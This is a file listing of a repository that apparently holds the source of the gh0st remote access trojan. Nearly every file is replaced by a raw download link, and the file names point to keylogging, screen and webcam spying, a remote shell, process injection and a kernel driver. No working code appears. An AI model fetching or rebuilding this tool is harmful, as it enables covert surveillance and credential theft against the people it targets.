├── README.md ├── common ├── Audio.h ├── Audio.cpp ├── macros.h ├── VideoCodec.h ├── zlib │ └── zlib.lib └── CursorInfo.h ├── gh0st ├── StdAfx.h ├── gh0st.h ├── gh0st.rc ├── BmpToAvi.h ├── BuildView.h ├── MainFrm.cpp ├── ReadMe.txt ├── SEU_QQwry.h ├── WebCamDlg.h ├── gh0st.cpp ├── res │ ├── 1.cur │ ├── 2.cur │ ├── 3.cur │ ├── 4.cur │ ├── dot.cur │ ├── audio.ico │ ├── gh0st.ico │ ├── Bitmap_4.bmp │ ├── Bitmap_5.bmp │ ├── cmdshell.ico │ ├── keyboard.ico │ ├── system.ico │ ├── toolbar1.bmp │ ├── toolbar2.bmp │ ├── webcam.ico │ └── gh0st.rc2 ├── AudioDlg.cpp ├── BmpToAvi.cpp ├── BuildView.cpp ├── SEU_QQwry.cpp ├── ShellDlg.cpp ├── SystemDlg.cpp ├── TrayIcon.cpp ├── WebCamDlg.cpp ├── gh0stView.cpp ├── FileManagerDlg.h ├── KeyBoardDlg.cpp ├── ScreenSpyDlg.cpp ├── ScreenSpyDlg.h ├── SettingsView.cpp ├── CJ60Lib │ ├── Readme.htm │ ├── overview.gif │ ├── CJ60Lib │ │ ├── CJ60Lib.rc │ │ ├── CJ60lib.cpp │ │ ├── CJCaption.cpp │ │ ├── CJDockBar.cpp │ │ ├── CJFrameWnd.cpp │ │ ├── CJListCtrl.cpp │ │ ├── CJListView.cpp │ │ ├── CJPagerCtrl.cpp │ │ ├── CJToolBar.cpp │ │ ├── SHFileInfo.cpp │ │ ├── hyperlink.cpp │ │ ├── res │ │ │ ├── cj_logo.bmp │ │ │ ├── btn_arro.bmp │ │ │ ├── hsplitba.cur │ │ │ ├── vsplitba.cur │ │ │ ├── btn_explorer.bmp │ │ │ ├── button_images.bmp │ │ │ └── cj60lib.rc2 │ │ ├── CJ60Lib.positions │ │ ├── CJControlBar.cpp │ │ ├── CJDockContext.cpp │ │ ├── CJExplorerBar.cpp │ │ ├── CJFlatButton.cpp │ │ ├── CJMDIFrameWnd.cpp │ │ ├── CJOutlookBar.cpp │ │ ├── CJSearchEdit.cpp │ │ ├── CJSizeDockBar.cpp │ │ ├── CJTabctrlBar.cpp │ │ ├── CJFlatComboBox.cpp │ │ ├── CJFlatHeaderCtrl.cpp │ │ ├── CJMiniDockFrameWnd.cpp │ │ ├── CJ60lib.def │ │ ├── stdafx.cpp │ │ ├── Globals.cpp │ │ ├── resource.h │ │ ├── Globals.h │ │ ├── stdafx.h │ │ ├── CJFrameInfo.cpp │ │ ├── readme.txt │ │ ├── CJ60Lib.dsw │ │ ├── ModulVer.cpp │ │ ├── CJ60Lib.clw │ │ └── CoolBar.cpp │ ├── Include │ │ ├── CJ60Lib.h │ │ ├── CJCaption.h │ │ ├── CJDockBar.h │ │ ├── CJFrameWnd.h │ │ ├── CJListCtrl.h │ │ ├── CJListView.h │ │ ├── CJToolBar.h │ │ ├── SHFileInfo.h │ │ ├── CJControlBar.h │ │ ├── CJDockContext.h │ │ ├── CJExplorerBar.h │ │ ├── CJFlatButton.h │ │ ├── CJMDIFrameWnd.h │ │ ├── CJOutlookBar.h │ │ ├── CJPagerCtrl.h │ │ ├── CJSearchEdit.h │ │ ├── CJSizeDockBar.h │ │ ├── CJTabCtrlBar.h │ │ ├── CJFlatComboBox.h │ │ ├── CJFlatHeaderCtrl.h │ │ ├── CJMiniDockFrameWnd.h │ │ ├── CJFrameInfo.h │ │ ├── ShellPidl.h │ │ ├── ModulVer.h │ │ ├── Subclass.h │ │ ├── FixTB.h │ │ ├── CJTabView.h │ │ ├── ShellTree.h │ │ ├── hyperlink.h │ │ ├── CoolBar.h │ │ ├── MenuBar.h │ │ └── CoolMenu.h │ └── Lib │ │ └── CJ60StaticLib.lib ├── FileManagerDlg.cpp ├── TrueColorToolBar.h ├── control │ ├── BtnST.cpp │ ├── HoverEdit.cpp │ ├── WinXPButtonST.h │ ├── HoverEdit.h │ └── WinXPButtonST.cpp ├── TrueColorToolBar.cpp ├── include │ ├── IOCPServer.h │ ├── IOCPServer.cpp │ ├── Mapper.h │ ├── Buffer.h │ ├── CpuUsage.h │ └── CpuUsage.cpp ├── FileTransferModeDlg.cpp ├── gh0st.vcxproj.user ├── StdAfx.cpp ├── removejunk.bat ├── IniFile.h ├── encode.h ├── FileTransferModeDlg.h ├── gh0stDoc.h ├── ThemeUtil.h ├── ShellDlg.h ├── AudioDlg.h ├── TabSDIFrameWnd.h ├── KeyBoardDlg.h ├── TrayIcon.h ├── SystemDlg.h ├── gh0stDoc.cpp ├── MainFrm.h ├── IniFile.cpp ├── SettingsView.h ├── InputDlg.h ├── gh0stView.h ├── TabSDIFrameWnd.cpp └── ThemeUtil.cpp ├── Server ├── sys │ ├── RESSDT.c │ ├── sources │ └── makefile ├── install │ ├── acl.h │ ├── RegEditEx.h │ ├── install.cpp │ ├── resource.h │ ├── install.vcxproj.user │ ├── StdAfx.cpp │ ├── StdAfx.h │ ├── ReadMe.txt │ ├── install.vcxproj.filters │ ├── decode.h │ ├── install.rc │ ├── install.dsp │ └── install.vcxproj └── svchost │ ├── svchost.cpp │ ├── common │ ├── login.h │ ├── loop.h │ ├── until.h │ ├── inject.h │ ├── until.cpp │ ├── Manager.cpp │ ├── RegEditEx.h │ ├── ScreenSpy.h │ ├── VideoCap.cpp │ ├── install.cpp │ ├── resetssdt.h │ ├── FileManager.cpp │ ├── KernelManager.h │ ├── RegEditEx.cpp │ ├── ScreenSpy.cpp │ ├── filemanager.h │ ├── hidelibrary.h │ ├── AudioManager.cpp │ ├── KernelManager.cpp │ ├── KeyboardManager.h │ ├── ScreenManager.cpp │ ├── ShellManager.cpp │ ├── SystemManager.cpp │ ├── VideoManager.cpp │ ├── KeyboardManager.cpp │ ├── install.h │ ├── AudioManager.h │ ├── VideoCap.h │ ├── Manager.h │ ├── ShellManager.h │ ├── SystemManager.h │ ├── Buffer.h │ ├── VideoManager.h │ ├── ScreenManager.h │ ├── decode.h │ └── Dialupass.h │ ├── hidelibrary.h │ ├── ClientSocket.cpp │ ├── Release │ ├── svchost.exp │ └── svchost.lib │ ├── svchost.vcxproj.user │ ├── StdAfx.cpp │ ├── resource.h │ ├── ReadMe.txt │ ├── ClientSocket.h │ ├── svchost.rc │ └── svchost.vcxproj.filters ├── CLEAN.BAT ├── gh0st.dsw └── gh0st.sln /README.md: -------------------------------------------------------------------------------- 1 | gh0st beta 3.6 -------------------------------------------------------------------------------- /common/Audio.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/common/Audio.h -------------------------------------------------------------------------------- /gh0st/StdAfx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/StdAfx.h -------------------------------------------------------------------------------- /gh0st/gh0st.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/gh0st.h -------------------------------------------------------------------------------- /gh0st/gh0st.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/gh0st.rc -------------------------------------------------------------------------------- /common/Audio.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/common/Audio.cpp -------------------------------------------------------------------------------- /common/macros.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/common/macros.h -------------------------------------------------------------------------------- /gh0st/BmpToAvi.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/BmpToAvi.h -------------------------------------------------------------------------------- /gh0st/BuildView.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/BuildView.h -------------------------------------------------------------------------------- /gh0st/MainFrm.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/MainFrm.cpp -------------------------------------------------------------------------------- /gh0st/ReadMe.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/ReadMe.txt -------------------------------------------------------------------------------- /gh0st/SEU_QQwry.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/SEU_QQwry.h -------------------------------------------------------------------------------- /gh0st/WebCamDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/WebCamDlg.h -------------------------------------------------------------------------------- /gh0st/gh0st.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/gh0st.cpp -------------------------------------------------------------------------------- /gh0st/res/1.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/1.cur -------------------------------------------------------------------------------- /gh0st/res/2.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/2.cur -------------------------------------------------------------------------------- /gh0st/res/3.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/3.cur -------------------------------------------------------------------------------- /gh0st/res/4.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/4.cur -------------------------------------------------------------------------------- /gh0st/res/dot.cur: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/dot.cur -------------------------------------------------------------------------------- /Server/sys/RESSDT.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/sys/RESSDT.c -------------------------------------------------------------------------------- /common/VideoCodec.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/common/VideoCodec.h -------------------------------------------------------------------------------- /gh0st/AudioDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/AudioDlg.cpp -------------------------------------------------------------------------------- /gh0st/BmpToAvi.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/BmpToAvi.cpp -------------------------------------------------------------------------------- /gh0st/BuildView.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/BuildView.cpp -------------------------------------------------------------------------------- /gh0st/SEU_QQwry.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/SEU_QQwry.cpp -------------------------------------------------------------------------------- /gh0st/ShellDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/ShellDlg.cpp -------------------------------------------------------------------------------- /gh0st/SystemDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/SystemDlg.cpp -------------------------------------------------------------------------------- /gh0st/TrayIcon.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/TrayIcon.cpp -------------------------------------------------------------------------------- /gh0st/WebCamDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/WebCamDlg.cpp -------------------------------------------------------------------------------- /gh0st/gh0stView.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/gh0stView.cpp -------------------------------------------------------------------------------- /gh0st/res/audio.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/audio.ico -------------------------------------------------------------------------------- /gh0st/res/gh0st.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/gh0st.ico -------------------------------------------------------------------------------- /Server/install/acl.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/install/acl.h -------------------------------------------------------------------------------- /common/zlib/zlib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/common/zlib/zlib.lib -------------------------------------------------------------------------------- /gh0st/FileManagerDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/FileManagerDlg.h -------------------------------------------------------------------------------- /gh0st/KeyBoardDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/KeyBoardDlg.cpp -------------------------------------------------------------------------------- /gh0st/ScreenSpyDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/ScreenSpyDlg.cpp -------------------------------------------------------------------------------- /gh0st/ScreenSpyDlg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/ScreenSpyDlg.h -------------------------------------------------------------------------------- /gh0st/SettingsView.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/SettingsView.cpp -------------------------------------------------------------------------------- /gh0st/res/Bitmap_4.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/Bitmap_4.bmp -------------------------------------------------------------------------------- /gh0st/res/Bitmap_5.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/Bitmap_5.bmp -------------------------------------------------------------------------------- /gh0st/res/cmdshell.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/cmdshell.ico -------------------------------------------------------------------------------- /gh0st/res/keyboard.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/keyboard.ico -------------------------------------------------------------------------------- /gh0st/res/system.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/system.ico -------------------------------------------------------------------------------- /gh0st/res/toolbar1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/toolbar1.bmp -------------------------------------------------------------------------------- /gh0st/res/toolbar2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/toolbar2.bmp -------------------------------------------------------------------------------- /gh0st/res/webcam.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/res/webcam.ico -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Readme.htm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Readme.htm -------------------------------------------------------------------------------- /gh0st/FileManagerDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/FileManagerDlg.cpp -------------------------------------------------------------------------------- /gh0st/TrueColorToolBar.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/TrueColorToolBar.h -------------------------------------------------------------------------------- /gh0st/control/BtnST.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/control/BtnST.cpp -------------------------------------------------------------------------------- /Server/install/RegEditEx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/install/RegEditEx.h -------------------------------------------------------------------------------- /Server/install/install.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/install/install.cpp -------------------------------------------------------------------------------- /Server/install/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/install/resource.h -------------------------------------------------------------------------------- /Server/svchost/svchost.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/svchost.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/overview.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/overview.gif -------------------------------------------------------------------------------- /gh0st/TrueColorToolBar.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/TrueColorToolBar.cpp -------------------------------------------------------------------------------- /gh0st/include/IOCPServer.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/include/IOCPServer.h -------------------------------------------------------------------------------- /Server/svchost/common/login.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/login.h -------------------------------------------------------------------------------- /Server/svchost/common/loop.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/loop.h -------------------------------------------------------------------------------- /Server/svchost/common/until.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/until.h -------------------------------------------------------------------------------- /Server/svchost/hidelibrary.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/hidelibrary.h -------------------------------------------------------------------------------- /Server/sys/sources: -------------------------------------------------------------------------------- 1 | TARGETNAME=RESSDT 2 | TARGETPATH=. 3 | TARGETTYPE=DRIVER 4 | SOURCES=RESSDT.c 5 | -------------------------------------------------------------------------------- /gh0st/FileTransferModeDlg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/FileTransferModeDlg.cpp -------------------------------------------------------------------------------- /gh0st/include/IOCPServer.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/include/IOCPServer.cpp -------------------------------------------------------------------------------- /Server/svchost/ClientSocket.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/ClientSocket.cpp -------------------------------------------------------------------------------- /Server/svchost/common/inject.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/inject.h -------------------------------------------------------------------------------- /Server/svchost/common/until.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/until.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJ60Lib.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJ60Lib.rc -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJ60Lib.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJ60Lib.h -------------------------------------------------------------------------------- /Server/svchost/Release/svchost.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/Release/svchost.exp -------------------------------------------------------------------------------- /Server/svchost/Release/svchost.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/Release/svchost.lib -------------------------------------------------------------------------------- /Server/svchost/common/Manager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/Manager.cpp -------------------------------------------------------------------------------- /Server/svchost/common/RegEditEx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/RegEditEx.h -------------------------------------------------------------------------------- /Server/svchost/common/ScreenSpy.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/ScreenSpy.h -------------------------------------------------------------------------------- /Server/svchost/common/VideoCap.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/VideoCap.cpp -------------------------------------------------------------------------------- /Server/svchost/common/install.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/install.cpp -------------------------------------------------------------------------------- /Server/svchost/common/resetssdt.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/resetssdt.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJ60lib.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJ60lib.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJCaption.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJCaption.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJDockBar.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJDockBar.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJFrameWnd.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJFrameWnd.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJListCtrl.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJListCtrl.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJListView.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJListView.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJToolBar.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJToolBar.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/SHFileInfo.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/SHFileInfo.h -------------------------------------------------------------------------------- /Server/svchost/common/FileManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/FileManager.cpp -------------------------------------------------------------------------------- /Server/svchost/common/KernelManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/KernelManager.h -------------------------------------------------------------------------------- /Server/svchost/common/RegEditEx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/RegEditEx.cpp -------------------------------------------------------------------------------- /Server/svchost/common/ScreenSpy.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/ScreenSpy.cpp -------------------------------------------------------------------------------- /Server/svchost/common/filemanager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/filemanager.h -------------------------------------------------------------------------------- /Server/svchost/common/hidelibrary.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/hidelibrary.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJCaption.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJCaption.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJDockBar.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJDockBar.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJFrameWnd.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJFrameWnd.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJListCtrl.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJListCtrl.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJListView.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJListView.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJPagerCtrl.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJPagerCtrl.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJToolBar.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJToolBar.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/SHFileInfo.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/SHFileInfo.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/hyperlink.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/hyperlink.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/res/cj_logo.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/res/cj_logo.bmp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJControlBar.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJControlBar.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJDockContext.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJDockContext.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJExplorerBar.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJExplorerBar.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJFlatButton.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJFlatButton.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJMDIFrameWnd.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJMDIFrameWnd.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJOutlookBar.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJOutlookBar.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJPagerCtrl.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJPagerCtrl.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJSearchEdit.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJSearchEdit.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJSizeDockBar.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJSizeDockBar.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJTabCtrlBar.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Include/CJTabCtrlBar.h -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Lib/CJ60StaticLib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/Lib/CJ60StaticLib.lib -------------------------------------------------------------------------------- /Server/svchost/common/AudioManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/AudioManager.cpp -------------------------------------------------------------------------------- /Server/svchost/common/KernelManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/KernelManager.cpp -------------------------------------------------------------------------------- /Server/svchost/common/KeyboardManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/KeyboardManager.h -------------------------------------------------------------------------------- /Server/svchost/common/ScreenManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/ScreenManager.cpp -------------------------------------------------------------------------------- /Server/svchost/common/ShellManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/ShellManager.cpp -------------------------------------------------------------------------------- /Server/svchost/common/SystemManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/SystemManager.cpp -------------------------------------------------------------------------------- /Server/svchost/common/VideoManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/Server/svchost/common/VideoManager.cpp -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJ60Lib.positions: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sin5678/gh0st/HEAD/gh0st/CJ60Lib/CJ60Lib/CJ60Lib.positions -------------------------------------------------------------------------------- 